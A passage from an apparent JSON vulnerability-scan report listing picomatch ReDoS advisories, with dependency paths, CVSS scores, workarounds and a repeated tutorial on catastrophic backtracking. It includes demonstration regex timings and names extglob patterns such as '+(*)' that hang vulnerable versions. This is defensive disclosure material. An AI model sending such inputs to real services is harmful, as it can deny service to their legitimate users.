Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", 